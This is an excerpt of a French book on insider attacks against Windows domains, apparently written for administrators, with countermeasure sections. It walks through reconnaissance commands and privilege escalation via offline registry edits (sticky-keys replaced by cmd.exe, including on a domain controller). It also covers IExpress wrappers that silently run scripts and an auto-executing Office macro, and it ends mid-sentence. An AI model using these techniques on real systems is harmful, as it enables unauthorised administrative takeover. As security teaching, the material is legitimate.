Академический Документы
Профессиональный Документы
Культура Документы
En tant qu’auteur de ce livre, j’ai voulu vous inspirer un sentiment de crainte et vous faire
prendre conscience de la non-sécurité de vos systèmes. Ce message vous concerne plus
particulièrement si vous êtes administrateur de système, manageur ou spécialiste de la sécurité
informatique. Mon but est de bien vous faire comprendre que beaucoup de moyens
relativement simples existent pour contourner la sécurité mise en place si celle-ci n’a pas pris
en compte toutes les possibilités techniques des utilisateurs de votre système d’information,
mais aussi de vous rassurer : des solutions intégrées existent dans l’environnement Windows.
Il y a plusieurs manières de faire passer un message clair sur la sécurité informatique et
d’expliquer ce qu’il faut faire ou ne pas faire pour sécuriser son système d’information. Pour
mieux vous expliquer comment protéger vos systèmes, j’ai choisi pour ma part de vous
donner un aperçu des possibilités de piratage depuis l’intérieur d’une entreprise. À mon sens,
il n’y a qu’en comprenant correctement le principe des différentes attaques possibles que vous
pourrez sécuriser vos systèmes de la manière la mieux adaptée à votre entreprise.
Pour cela, j’ai pris le rôle d’un utilisateur cherchant à pirater son entreprise. Pour travailler,
j’ai un compte utilisateur et une machine à disposition dans le domaine. Mon compte
d’utilisateur n’a pas de droits particuliers sur la machine ou sur le domaine, du moins au
départ.
Les chapitres de cet ouvrage sont donc construits pour vous expliquer les attaques de façon
réaliste et détaillée afin d’en comprendre les principes de fonctionnement et ainsi réagir en
conséquence pour les bloquer ou au moins les anticiper. Des contre-mesures techniques et
organisationnelles efficaces vous sont proposées et expliquées en détail à la fin de l’ouvrage.
Préambule
Les réseaux et les systèmes informatiques deviennent de plus en plus complexes et de plus en
plus grands. Ils sont pour certaines entreprises un mal nécessaire et ce qui pourrait être un
investissement se transforme en un gouffre. De cette image, découle souvent un très petit
intérêt à augmenter le budget de la sécurité informatique. Les administrateurs, eux, ont de nos
jours beaucoup de travail et de préoccupations. Ils sont mis sous pression pour obtenir des
résultats rapides en matière de déploiement ou de maintenance. Ils n’ont donc pas le temps
d’aller dans les détails lors de l’installation d’un produit ou d’une application. Ils sont
malheureusement parfois obligés de faire au plus vite puis de s’arrêter au moment où cela
fonctionne, sans avoir pris le temps d’en analyser la sécurité avant ou après l’installation. De
plus, la sécurité intérieure est souvent négligée au détriment d’une protection d’une éventuelle
menace externe.
Pourtant, si la sécurité était parfaite à l’intérieur, que pourrait vraiment faire un hacker externe
?
Différentes études montrent que la sécurité informatique d’une entreprise est dans la plupart
des cas aisément attaquable de l’intérieur, mais elles montrent aussi une nette augmentation
de ce type d’incidents, que ce soit par des utilisateurs gourmands ou frustrés par le manque de
pouvoir ou par des personnes ayant des intentions négatives telles que la vengeance,
l’espionnage, le vol ou la destruction d’informations critiques ou privées. La réalité est ainsi,
des techniques de hacking sont régulièrement employées à ces fins, les avez-vous constatées
chez vous ?
Dans une entreprise, les utilisateurs n’ayant pas de fonction d’administration informatique ont
la plupart du temps des droits limités sur leur PC. Et cela a pour but de protéger la machine
contre une installation de programme pouvant mettre en danger le réseau ou n’entrant pas
dans la politique de sécurité, si bien sûr une telle politique existe. Cela a aussi pour objectif
d’éviter à un employé d’être manipulé malgré lui par un pirate interne ou externe. Il est donc
normal de ne laisser à un utilisateur que les droits nécessaires à l’utilisation des logiciels
prévus par sa fonction.
Toutefois, il existe des outils pour contourner cette attribution de rôle pour à son tour pouvoir
tout faire de son PC ou d’un serveur. Il est même possible d’aller plus loin, par exemple,
d’obtenir les droits systèmes sur une machine ou de devenir administrateur d’un domaine
complet. Certains moyens sont purement techniques et d’autres nécessitent en plus d’agir sur
l’humain pour obtenir les autorisations recherchées.
Pour simplifier l’action des pirates, il n’est pas rare de voir des responsables informatiques
donner plus de droits que nécessaire, sans pour autant prendre en compte les risques
auxquelles ils s’exposent. Il arrive fréquemment que dans une entreprise, tous les utilisateurs
soient administrateurs de leur PC (Personal Computer), ce qui donne une voie royale pour
réaliser des actions de piratage efficaces.
De plus, les mécanismes de sécurité mis en place par Microsoft sont parfois mal compris.
Ceux qui sont considérés comme lourds ou intrusifs sont souvent désactivés ou non
configurés pour simplifier le travail. Sans ces protections pourtant activées par défaut comme
l’UAC (User Access Control) ou l’obligation d’avoir une macro signée dans un document
Office, il devient enfantin de pirater une machine, comme c’était le cas sous Windows XP.
Vous allez au fur et à mesure découvrir comment prendre le contrôle quand on est un
utilisateur avec peu ou pas du tout de droits sur une machine ou un serveur. L’ouvrage apporte
aussi des contre-mesures techniques ainsi qu’une réponse en termes de gouvernance sur la
problématique de l’internal hacking.
Les entreprises auront ainsi des moyens pour prévenir et empêcher ces attaques avant leur
survenue.
2. Considérations techniques
Une défense doit tenir compte des aspects techniques même si cela donne une réponse moins
générale ou moins variable à une menace. Il faut, pour préparer de bonnes contre-mesures
techniques, utiliser l’analyse de risques (réels) et ainsi répondre par des moyens adaptés.
Pensez à comparer les solutions intégrées, souvent gratuites, aux solutions payantes qui
n’apportent pas toujours une vraie plus-value. Pensez à couvrir les risques à 360°. Il m’arrive
souvent de voir que pour empêcher un utilisateur d’installer un programme sur son PC, le
téléchargement est interdit et bloqué grâce à un proxy web. Mais est-ce que lorsqu’on
empêche un utilisateur de télécharger, on l’empêche vraiment d’installer une application ?
D’autres pensent que si l’utilisateur n’est pas administrateur de sa machine, il ne peut rien
installer, mais c’est faux. Il peut installer certains programmes ou utiliser des applications
portables. Il peut fabriquer ses propres programmes. Est-ce que le risque, c’est l’installation
de programmes ou est-ce que c’est l’exécution d’une application dangereuse ? C’est en
pensant à toutes ces choses-là que l’on peut considérer que l’on couvre un risque à 360°.
3. Considérations de la gouvernance
La gouvernance des systèmes est importante. Si vous ne pensez qu’en termes techniques, vous
allez passer à côté de certains fondements de la sécurité. Quelques exemples simples, si vous
voulez avoir le droit d’utiliser un proxy qui surveille les connexions Internet de vos
utilisateurs, vous devez les avertir. Cela peut être fait dans une politique de sécurité, qui
inclura le règlement d’utilisation de l’infrastructure informatique. Si la salle serveur devait
brûler, est-ce que vous sauriez comment organiser les ressources humaines et informatiques
pour remonter le plus rapidement possible un système utilisable par les gens du métier afin
qu’ils puissent travailler ? Lorsque quelqu’un quitte la société, que se passe-t-il avec ses
fichiers, ses mails, son compte, etc. ? Lorsqu’une attaque par virus est déclarée dans votre
réseau, quelles réactions ont les utilisateurs, par quel processus êtes-vous informé, quel
système permettra d’endiguer et de résoudre le problème ?
Comme vous l’aurez compris, même si la technique est très importante, elle ne doit pas être le
guide pour la mise en place d’une contre-mesure et plus globalement pour l’installation d’une
solution informatique. La gouvernance des systèmes vous aidera à prendre en compte les
risques mais tiendra aussi compte du métier et des coûts, ce qui donne aussi un résultat
beaucoup plus proche du besoin général de l’entreprise qu’une solution réaliste et applicable
en termes de sécurité.
1. Type de recherche
II est important de prendre des informations avant d’agir pour augmenter vos chances de
réussite. Vous allez alors être confronté, lors de la recherche d’informations, à deux types de
recherches possibles, les recherches d’informations passives et les recherches actives.
La recherche passive consiste à lire des informations qu’on nous donne ou que l’on reçoit sans
directement se connecter à un serveur qui pourrait enregistrer notre demande d’information.
Dans le cas de l’internal hacking, cela pourrait être représenté par le fait de lire et de noter les
informations sur son propre système comme son IP, son nom, le sous-réseau dans lequel vous
êtes, etc. Ce type de recherches représente normalement un risque quasiment nul d’être
découvert. Il est donc à privilégier.
Une recherche active, quant à elle, consiste à interroger un serveur pour obtenir une
information, comme cela serait le cas avec une requête LDAP (Lightweight Directory Access
Protocol) sur un contrôleur de domaine ou encore utiliser NMap pour connaître la version de
IIS (Internet Information Manager) installée sur le serveur web de l’intranet. Avec ce type de
recherches, il y a un risque d’être logué sur un serveur, même si souvent dans le cadre de
l’internal hacking, ces logs sont noyés dans les connexions tout à fait normales d’un client
vers son intranet ou d’une machine vers Active Directory.
Rechercher une information locale ne veut pas dire que la recherche est passive. Par exemple,
si vous consultez les règles de votre logiciel spécifique qui fait office de pare-feu et
d’antivirus, il se peut très bien que celui-ci journalise localement ou sur un serveur le fait que
vous avez ouvert la console de management.
Dans certains cas vous allez devoir préparer une attaque qui n’aura pour but que la recherche
de plus d’informations. Sachez que plus les informations que vous aurez sont précises et
fiables, plus la chance de trouver un moyen efficace et redoutable pour obtenir ce que vous
voulez augmente.
Il est possible que le résultat des techniques de recherche d’information décrites dans les
pages suivantes soit quelque peu différent suivant vos droits, la langue ou la version du
système que vous utilisez.
1. Configuration système
Les informations locales sont celles qui concernent la machine avec laquelle vous travaillez
ou les serveurs sur lesquels vous avez les droits de vous connecter provisoirement en tant que
consultant ou de façon permanente pour une personne du support. Dans la majorité des
entreprises, les PC sont basés sur un modèle de machine fait depuis une image et la sécurité
est centralisée, ce qui a comme avantage que si vous trouvez une faille ou un système qui
fonctionne chez vous, il devrait marcher pour toutes les futures cibles au sein de l’entreprise.
a. Informations réseau
Ouvrez la ligne de commande en exécutant cmd.exe.
Écrivez la commande :
ipconfig /all
La première partie donne des informations sur le domaine et le nom de la machine.
C:\>ipconfig /all
Configuration IP de Windows
b. Variables d’environnement
Il est possible de trouver les informations sur l’environnement grâce à la commande set.
set donne les variables d’environnement, comme notre chemin de profil, APPDATA, ainsi
que le chemin du répertoire temporaire, TEMP. Il y a aussi le chemin du dossier PUBLIC où
tous les utilisateurs ont un accès en lecture et écriture, des informations pertinentes puisque
nous avons là le droit d’écriture. Nous avons aussi le serveur sur lequel nous sommes
connectés, LOGONSERVER.
C:\>set
ALLUSERSPROFILE=C:\ProgramData
APPDATA=C:\Users\test\AppData\Roaming
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME= PCLAB01
ComSpec=C:\windows\system32\cmd.exe
FP_NO_HOST_CHECK=NO
HOMEDRIVE=H:
HOMEPATH=\
HOMESHARE=\\eni-lab.fr\users$\test
LOCALAPPDATA=C:\Users\test\AppData\Local
LOGONSERVER=\\DC01
NUMBER_OF_PROCESSORS=8
OS=Windows_NT
PUBLIC=C:\Users\Public
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\windows
TEMP=C:\Users\test\AppData\Local\Temp
TMP=C:\Users\test\AppData\Local\Temp
UATDATA=C:\windows\CCM\UATData\D9F8C395-CAB8-491d-B8AC-179A1FE1BE77
USERDNSDOMAIN=ENI-LAB.FR
USERDOMAIN=ENI-LAB
USERDOMAIN_ROAMINGPROFILE=ENI-LAB
USERNAME=test
USERPROFILE=C:\Users\test
windir=C:\windows
c. Utilisateurs et groupes
Pour obtenir les informations sur un utilisateur, comme son appartenance aux groupes de
sécurité et la validité de son compte, ouvrez une ligne de commande et écrivez :
Net user %username% /domain
User name Administrator
Full Name Administrator
Comment Built-in account for administering the
computer/domain User’s comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 06.04.2013 14:19:41
Password expires Never
Password changeable 07.04.2013 14:19:41
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 26.05.2013 14:47:09
Logon hours allowed All
Local Group Memberships *Administrators
Global Group memberships *Schema Admins *Exchange Trusted Subs
----------------------------------------------------------------
admin
Administrator
La commande s’est terminée correctement.
Ces informations vous permettent de mieux connaître l’environnement utilisateur dans lequel
vous évoluez et la configuration du système.
b. En ligne de commande
Si l’accès à mmc.exe est bloqué, vous pouvez utiliser la ligne de commande pour rechercher
ce qui a été configuré par votre administrateur.
Pour cela, exécutez cmd.exe, puis exécutez GpResult :
Gpresult /z
Vous aurez ainsi le nom de la stratégie et la configuration de chaque paramètre modifiant le
système.
GPO: Default Domain Policy
Policy: PasswordComplexity
Computer Setting: Enabled
GPO: Default Domain Policy
Policy: ClearTextPassword
Computer Setting: Not Enabled
GPO: Default Domain Policy
Policy: ForceLogoffWhenHourExpire
Computer Setting: Not Enabled
GPO: Default Domain Policy
Policy: RequireLogonToChangePassword
Computer Setting: Not Enabled
GPO: Default Domain Policy
Policy: LSAAnonymousNameLookup
Computer Setting: Not Enabled
GPO: Default Domain Policy
Policy: TicketValidateClient
Computer Setting: Enabled
Si vous n’êtes pas fervent adepte de la ligne de commande pour lire le résultat, envoyez la
sortie vers un fichier html.
GpResult /z /h c:\temp\rapport.html
Le résultat sera alors une page web plus facile à lire.
c. Avec l’éditeur du registre
Le système écrit les clés de registre pour configurer les paramètres de la machine et ceux de
l’utilisateur. Ces clés sont enregistrées à quatre emplacements particuliers.
Pour les paramètres configurés par les stratégies de groupe liées à l’utilisateur, ce sont :
CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
CURRENT_USER\Software\Policies
Pour les paramètres configurés par les stratégies de groupe liées à la machine, ce sont :
LOCAL_MACHINE\SOFTWARE\Policies
LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ Policies
Pour voir ce qui est appliqué, ouvrez l’éditeur du registre regedit.exe et visitez les sous-clés
des chemins donnés plus hauts.
Dans l’exemple ci-dessous, on voit que le gestionnaire de tâches est bloqué par une stratégie
de groupe appliquée à l’utilisateur.
Dans ce cas, on ne sait pas quel est le nom de la stratégie qui a demandé l’écriture de ce
paramètre dans le registre.
3. Le pare-feu
a. Avec le panneau de configuration
Pour avoir des informations sur les règles de pare-feu appliquées sur sa machine, ouvrez le
Panneau de configuration - Système et sécurité - Pare-feu Windows. Puis sur la gauche,
cliquez sur Paramètres avancés.
La console centrale vous indique si le pare-feu est activé et pour quel type de connexions :
Sur le menu de gauche, vous avez accès aux règles autorisées ou bloquées en entrée et en
sortie.
Dans les propriétés du pare-feu, vous trouverez le comportement par défaut de celui-ci :
Le pare-feu est en général géré par l’administrateur du système. Il n’est pas toujours possible
d’ouvrir le panneau de configuration pour en voir les propriétés.
b. En ligne de commande
Vous pouvez aussi accéder à de nombreuses informations sur le pare-feu avec la commande
NETSH.
Ouvrez une ligne de commande et écrivez :
Netsh
netsh>adv
netsh advfirewall>show
Vous aurez la possibilité de voir la configuration des éléments suivants :
show allprofiles - Affiche les propriétés de tous les profils.
show currentprofile - Affiche les propriétés du profil actif.
show domainprofile - Affiche les propriétés du domaine.
show global - Affiche les propriétés globales.
show privateprofile - Affiche les propriétés du profil privé.
show publicprofile - Affiche les propriétés du profil public.
Suivant le système d’exploitation, PowerShell permet tout aussi bien de prendre des
informations sur la configuration du pare-feu.
Ouvrez PowerShell et écrivez les commandes suivantes pour connaître toutes les commandes
de gestion du pare-feu :
Import-Module netsecurityNetSecurity
gcm *firewall*
Pour voir les règles appliquées, utilisez Get-NetFirewallRule, mais renvoyez le résultat dans
un fichier texte, sinon cela sera illisible.
Get-NetFirewallRule > c:\temp\rules.txt
Pour avoir des informations sur les profils configurés :
PS C:\> Get-NetFirewallProfile
Name : Domain
Enabled : True
DefaultInboundAction : Allow
DefaultOutboundAction : Allow
AllowInboundRules : NotConfigured
AllowLocalFirewallRules : NotConfigured
AllowLocalIPsecRules : NotConfigured
AllowUserApps : NotConfigured
AllowUserPorts : NotConfigured
AllowUnicastResponseToMulticast : NotConfigured
NotifyOnListen : True
EnableStealthModeForIPsec : NotConfigured
LogFileName : %systemroot
\system32\LogFiles\Firewall\pfirewall.log
LogMaxSizeKilobytes : 4096
LogAllowed : False
LogBlocked : False
LogIgnored : NotConfigured
DisabledInterfaceAliases : {NotConfigured}
Le groupe particulier Creator Owner (Créateur propriétaire) y est présent, avec comme droit
Contrôle total. Cela veut dire que dès qu’un utilisateur crée un fichier ou un dossier dans cet
emplacement, il en aura le contrôle total, soit lecture, écriture, exécution et modification des
droits de sécurité.
Si vous souhaitez affecter tous les utilisateurs d’une machine en mettant un fichier dans ce
dossier, pensez à en modifier les droits pour que tous y aient accès.
Vous pouvez aussi modifier les droits d’un dossier ou d’un fichier en ligne de commande à
l’aide de cacls. Ceci vous permettra de scripter le changement dans une application ou un
document piégé.
Pour créer un dossier Test, ouvrez la ligne de commande et écrivez :
Mkdir c:\user\public\test
Puis, pour donner les droits de lecture et d’exécution pour tous les utilisateurs sur le dossier,
utilisez :
cacls "c:\users\public\test" /e /t /c /g "Tout le monde":r
Si le système est multilingue et a une base en anglais, remplacez Tout le monde par User :
cacls "c:\users\public\test" /e /t /c /g Users:r
b. Dossier temporaire
Le dossier temporaire peut être trouvé dans la variable d’environnement TEMP ou TMP à
l’aide de la commande SET. Ce dossier est utilisé par les applications comme Internet
explorer, Outlook et bien d’autres. Lorsqu’un utilisateur va ouvrir un fichier zip depuis
Outlook, les fichiers vont se décompresser dans un sous-dossier du dossier temporaire. Il est
donc intéressant de voir si ce dossier permet l’exécution d’une application. Pour ce faire, nous
pouvons vérifier les droits de la même manière que nous venons de le faire.
Allez dans le dossier qui correspond à votre utilisateur, puis cliquez avec le bouton droit de la
souris sur le dossier temporaire, choisissez l’option Propriétés puis cliquez sur l’onglet
Sécurité.
c. Documents Office
Un document Office peut servir à attaquer un utilisateur grâce aux macros. Celles-ci peuvent
être des outils puissants. Pour savoir dans quelle mesure elles sont utilisables, nous allons
chercher le niveau de sécurité défini par une éventuelle stratégie de groupe ainsi que les
dossiers où les macros ont les droits de s’exécuter sans être signées.
Pour cela, vous devez afficher l’onglet Développeur dans votre application Office.
Ouvrez Microsoft Word et cliquez sur Fichier - Options. Dans l’onglet Personnaliser le
ruban, cochez dans la colonne de droite le menu Développeur puis sur OK.
Cliquez ensuite sur le menu à gauche dans le nouvel onglet Développeur sur Sécurité des
macros :
Dans la même fenêtre, dans les Emplacements approuvés, vous trouverez les dossiers où les
fichiers Office peuvent démarrer des macros sans limitations.
Dans le menu Documents approuvés, vous verrez si les documents en réseau peuvent être
approuvés ou non.
1. Configuration système
a. Dossiers partagés
Souvent, les dossiers partagés représentent des lettres de lecteurs, si ces lettres sont
accessibles par tous. Il est pertinent pour nous de connaître les chemins partagés où tout le
monde a un accès en lecture, en exécution et éventuellement en écriture, pour pouvoir y
déposer une application, un fichier ou un document piégé, un fichier de commande ou
pourquoi pas, y exfiltrer des données.
Savoir quels droits a une personne sur un dossier partagé n’est pas toujours évident. Il peut y
avoir beaucoup de groupes de sécurité configurés dans un domaine. Beaucoup de ces groupes
peuvent disposer de droits différents.
Ainsi, pour savoir si un utilisateur dispose d’un accès à un dossier, allez sur l’onglet Sécurité
des paramètres du dossier, puis cliquez sur Avancé. Allez ensuite dans l’onglet Accès
effectif. Choisissez l’utilisateur à tester puis cliquez sur Afficher l’accès effectif.
Vous aurez ainsi la liste des droits réels qu’a une personne particulière sur un dossier public.
Vous pourrez comme cela sélectionner au mieux un emplacement où le plus grand nombre
ont les droits suffisants pour se faire piéger.
b. Utilisateurs et groupes
Dans la configuration locale, vous avez peut-être trouvé un nom d’utilisateur du domaine qui
est dans le groupe administrateurs sur votre PC ou peut-être avez-vous déjà un utilisateur
particulier pour cible. Pour obtenir plus d’informations sur lui, comme l’appartenance aux
groupes de sécurité, si son mot de passe expire et bien d’autres informations, écrivez dans une
ligne de commande :
Net user NomUtilisateur /domain
Si vous avez repéré un groupe de sécurité du domaine et souhaitez savoir qui en sont les
membres, écrivez pour le groupe Administrateurs du domaine :
Net localgroup administrateurs /domain
Si le domaine Active Directory a été configuré sur un serveur en anglais comme c’est souvent
le cas, remplacez administrateurs par administrators.
Il est possible que la ligne de commande soit bloquée par l’administrateur du domaine. Dans
ce cas, vous pouvez essayer de faire un script avec un éditeur de texte et de l’enregistrer en
.BAT. Dans certains cas, seule l’ouverture de CMD est bloquée, mais pas l’exécution de
scripts.
Si les scripts sont aussi bloqués, vous pouvez télécharger et utiliser un outil gratuit de
Microsoft, ADExplorer, qui permet de parcourir les objets de l’annuaire d’Active Directory.
Le logiciel ne nécessite pas d’installation, ni des droits administrateurs pour l’utiliser.
Vous le trouverez sur : http://technet.microsoft.com/en-us/sysinternals/bb963907.aspx
Notez les membres de tous les groupes importants, comme les groupes des administrateurs ou
encore ceux du support.
2. Configuration réseau
La configuration du réseau de l’entreprise peut être complexe. Il s’agit pour nous de n’en
retirer que ce qui nous intéresse ; nous n’avons par exemple besoin de savoir combien il y a
de switch pour attaquer un serveur. Par contre son IP, son nom et les services qui sont
installés sur cette machine pourraient nous être très utiles.
a. Recherche du nom du serveur qui héberge un service
Nous sommes depuis l’intérieur de l’entreprise avec un compte utilisateur, une adresse e-mail
et pourquoi pas, un compte Lync. Les informations des serveurs DNS ont été trouvées dans la
configuration IP locale. Le nom d’un serveur Active Directory a été trouvé dans la
configuration locale grâce à la commande SET.
Pour trouver le serveur Exchange, il suffit de regarder les paramètres Outlook. Pour cela, allez
dans Fichier - Paramètres du compte - Paramètres du compte, puis cliquez sur votre
compte de messagerie. Le nom du serveur est dans la première ligne. Pour trouver la
configuration d’un serveur Lync, cliquez avec le bouton droit de la souris sur l’icône réduite
du produit et en appuyant simultanément sur [Ctrl]. De nombreux attributs vous donneront les
noms des serveurs Front-end, Edge, etc.
Si vous n’avez pas de compte mail ou Lync, vous pourrez trouver le nom de ces serveurs,
pour peu que vous déteniez au moins l’adresse d’un serveur DNS interne.
Pour trouver le reste les IP des serveurs à partir de l’IP d’un serveur DNS, ouvrez une ligne
de commande et tapez NSlookup.
Configurez NSlookup pour utiliser le serveur DNS pour répondre à vos demandes.
Server 10.0.0.100
Recherchez des enregistrements de type SRV (Services) :
Set Type=SRV
Pour trouver le nom des serveurs LDAP (Active Directory) :
_ldap._tcp.domain.local
Pour trouver le nom des serveurs de catalogue global :
_gc_tcp.domain.local
Pour trouver le nom des serveurs Lync :
_sipinternaltls._tcp.domain.local
Pour trouver le nom des serveurs Exchange :
_autodiscover._tcp.domain.local
Ou, suivant la configuration :
Autodiscover.domain.local
Ces informations sont à noter avec celles déjà récupérées.
b. Recherche de services avec PortQry de Microsoft
Microsoft propose un outil pour scanner les ports ouverts sur une machine. Mais cet outil
permet d’aller plus loin qu’un simple analyseur de port ne le permet : il va se connecter aux
services pour y rechercher encore plus de détails.
Vous le trouverez ici : http://www.microsoft.com/en-us/download/details.aspx?id=24009
Il est utilisable en ligne de commande, comme ici lors d’une analyse d’un serveur SQL :
portqry - n 10.0.0.200 -e - p 1434 udp
Querying target system called:
10.0.0.200
querying...
Server’s response:
ServerName SQL-Server1
InstanceName MSSQLSERVER
IsClustered No
Version 8.00.194
tcp 1433
np \\SQL-Server1\pipe\sql\query
Le logiciel nous donne des informations intéressantes sur la machine cible. Vous avez
maintenant toutes les cartes en main pour commencer un plan d’attaque. Il ne vous reste plus
maintenant qu’à étudier les différentes attaques possibles sur ces systèmes.
Utiliser un média d’installation Windows
officiel ou une image de boot PXE
Ce chapitre a pour but de vous décrire des techniques de piratage, en utilisant au maximum les
outils intégrés à Windows ou à la suite Office. Elles vous permettront de devenir
administrateur de votre PC ou plus. Certaines ne fonctionneront pas toujours puisque
l’efficacité dépendra des moyens déjà mis en œuvre par le service informatique pour protéger
les systèmes, ainsi que, dans certains cas, de votre capacité à faire exécuter un objet piégé à
une personne.
Le DVD d’installation de Windows peut être porté sur une clé USB si nécessaire, vous
trouverez les informations utiles pour cela sur Internet.
Choisissez la langue de votre clavier puis cliquez sur Suivant.
À l’étape suivante, appuyez simultanément sur [Shift][F10]. Une fenêtre apparaît à l’écran.
Écrivez Regedit.exe pour démarrer l’éditeur du registre.
2. Modification du registre offline
L’éditeur du registre va nous permettre de modifier le fonctionnement normal d’un
exécutable ; nous le remplacerons par l’exécution de la ligne de commande. Seul un certain
nombre d’applications sont exécutables lors d’une ouverture de session normale. La fonction
des touches rémanentes, le clavier virtuel et plus globalement les applications de gestion
d’ergonomie le sont. Dans notre exemple, nous allons remplacer le fonctionnement des
touches rémanentes de l’ordinateur cible par l’exécution de la ligne de commande.
L’exécution normale des touches rémanentes s’effectue en appuyant par répétition rapide sur
la touche [Shift] (5 x [Shift]).
Le fichier de registre à charger se situe sur le disque D sauf dans le cas d’une machine ayant
un double boot.
Description des disques
C: est un disque système utilisé par la machine cible pour booter, il est caché lors d’un
démarrage normal de la machine cible.
D: est généralement le disque du système d’exploitation cible (le disque C lors d’un
démarrage normal).
E: est un éventuel disque de données ou un deuxième disque système en cas de double boot.
X: est le disque utilisé par Windows PE pour démarrer Windows PE. Il ne sert à rien d’y
changer des paramètres : rien ne sera conservé.
Il est maintenant possible de démarrer des applications, mais certaines, comme le panneau de
configuration, qui a besoin du bureau de Windows, ne fonctionneront pas. Nous allons donc
exécuter la console MMC qui nous permettra de gérer les utilisateurs, changer un mot de
passe, ajouter un nouvel utilisateur ou ajouter un utilisateur existant dans le groupe
administrateur local.
À ce stade, il est possible de gérer toute la machine et ses fichiers sans s’authentifier.
Tapez mmc.exe dans la console, puis dans Fichier - Ajouter/supprimer un logiciel
enfichable, cliquez sur Utilisateurs et groupes locaux puis sur le bouton Ajouter et sur OK.
Cet exemple montre la modification d’un compte utilisateur sur Windows 7 :
Il est possible de faire de même sur les autres systèmes précités, comme sur l’exemple suivant
qui démontre cette technique sur Windows Server 2012.
Si nous appliquons cette technique sur un DC (contrôleur de domaine), nous verrons que la
console Utilisateurs et ordinateurs Active Directory est présente dans MMC, mais pas
seulement. Il est possible de modifier, ajouter, supprimer tous les objets Active Directory,
DNS (Domaine Name System), de demander un certificat, de modifier la configuration de
tout service, d’ajouter ou d’enlever un rôle, d’utiliser PowerShell, de modifier les stratégies de
groupe, etc.
On voit ci-après la console de gestion des utilisateurs et ordinateurs Active Directory.
On voit sur cette image la gestion du DNS, des certificats, des stratégies de groupe, le tout,
sans être authentifié sur le DC :
4. Contre-mesures
Pour empêcher un système d’être modifié offline, vous pouvez activer Syskey et/ou
configurer BitLocker. Pour empêcher ou réduire le risque de modification sur un contrôleur
de domaine dans une filiale, vous pouvez installer un RODC (Read Only Domain Controller)
à la place d’un contrôleur de domaine complet.
Ce type de manipulations, appelé Wrapper, est utilisé régulièrement par les pirates pour piéger
des pilotes, des jeux, des applications piratées, des générateurs de clés de licence, que vous
téléchargez couramment sur Internet.
L’utilitaire intégré de packaging Iexpress.exe va nous permettre de réaliser cela. L’outil
accompagne Windows depuis la version 2000.
Créez un raccourci sur le bureau pour Iexpess.exe.
Changez le dossier d’exécution Démarrer dans de votre raccourci pour y mettre l’un de
ceux pour lesquels vous avez des droits d’écriture.
Exécutez Iexpress.exe depuis votre raccourci et utilisez les paramètres par défaut.
Choisissez d’extraire et d’exécuter des commandes.
Les fichiers ajoutés peuvent être de toute sorte, comme un fichier exe, msi, reg, bat, vbs, ps1,
txt, zip, jpg, pdf, etc. Il est intéressant pour nous d’y mettre des fichiers qui peuvent se lancer
directement ou via une commande.
Dans notre premier exemple, nous avons ajouté un fichier MSI et un fichier REG. Nous allons
maintenant configurer IExpress pour exécuter d’abord le fichier de registre puis l’installation
de 7Zip.
Il est important de donner le programme qui va permettre d’exécuter un fichier bat, script ou
msi, ou une clé de registre.
Pour un EXE, il n’y a rien à ajouter :
notepad.exe
Pour un fichier REG, il faut faire précéder le nom du fichier de regedit.exe /s :
Regedit.exe /s FICHIER.REG
Le paramètre /s indique un mode silencieux.
Pour un fichier MSI, il faut faire précéder le nom du fichier de msiexec.exe /i :
Msiexec.exe /i FICHIER.MSI
Le paramètre /i indique une installation.
Pour un fichier BAT, il faut faire précéder le nom du fichier de cmd.exe /c :
Cmd.exe /c FICHIER.BAT
Le paramètre /c de cmd indique que la ligne de commande s’exécute puis se referme. /k
indique que la ligne de commande s’exécute et reste ouverte.
Pour un fichier VBS, il faut faire précéder le nom du fichier de wscript :
Wscript.exe FICHIER.VBS
Pour un fichier PS1, il faut faire précéder le nom du fichier de powershell :
Powershell.exe FICHIER.PS1
Continuez avec les paramètres par défaut puis enregistrez votre application en cochant les
deux options.
La première option cache l’extraction des fichiers et la deuxième permet d’avoir le nom
complet des fichiers lors de l’extraction. Sans cette dernière option, vous aurez des problèmes
d’exécution car Windows ne trouvera pas le chemin de vos fichiers.
Continuez avec les paramètres par défaut jusqu’à la compilation.
Nous pouvons maintenant nous amuser avec les droits système de la machine.
Verrouillez votre machine en appuyant simultanément sur les touches [Windows] L.
Une fois l’ordinateur verrouillé, appuyez cinq fois rapidement sur la touche [Shift].
La ligne de commande s’ouvre et vous donne accès à l’exécution de nombreux programmes.
Pour que le script fonctionne, vous devez être certain qu’il soit lancé par une personne qui a
les droits administrateurs du domaine. Vous pouvez consulter le chapitre Quelles informations
rechercher et comment les trouver ? si vous ne savez pas comment vous y prendre. Vous
découvrirez dans les chapitres suivants des techniques qui visent des personnes ayant peu de
droits, et qui modifient des parties du système éditables par tous.
4. Contre-mesures
Pour empêcher ce type d’attaque, vous pouvez bloquer l’utilisation de la ligne de commande,
de PowerShell, de Iexpress.exe et n’autoriser que les applications signées à s’exécuter sur les
postes clients grâce aux stratégies de groupe et aux restrictions logicielles. Nous vous
conseillons aussi de mettre en place un processus de gestion de test et de validation des
applications avant le déploiement global de celles-ci. Les comptes utilisateurs des personnes
du support informatique exécutant l’installation de logiciels ne doivent pas être
administrateurs du domaine ni administrateurs de serveur, ils doivent juste être
administrateurs des machines. Il est possible d’arriver à ce résultat en utilisant les comptes
restreints à l’aide des stratégies de groupe. Les utilisateurs ne doivent pas être administrateurs
de leur machine.
Un document Office qui exécute une macro sans réserve est encore plus dangereux qu’une
application, parce qu’il est plus discret. Une macro VBA permet de gérer des fichiers, le
Registre et Active Directory, de se connecter au réseau, sur Internet, etc.
Ouvrez Microsoft Word et cliquez sur Fichier - Options. Dans l’onglet Personnaliser le
ruban, cochez dans la colonne de droite l’onglet Développeur puis cliquez sur OK.
Une fois revenu sur votre document, cliquez sur l’onglet Développeur puis sur Visual Basic.
Naviguez jusqu’à Project (nom du document) puis cliquez sur ThisDocument.
Dans la partie du document où il est possible d’écrire du code, cliquez sur les deux listes
déroulantes afin d’obtenir Document à gauche et Open à droite comme dans l’image
précédente.
C’est cette partie de code qui va s’exécuter lors de l’ouverture d’un document Office. Il est
bien sûr possible d’y écrire des scripts très complexes pour faire faire ce que l’on veut à la
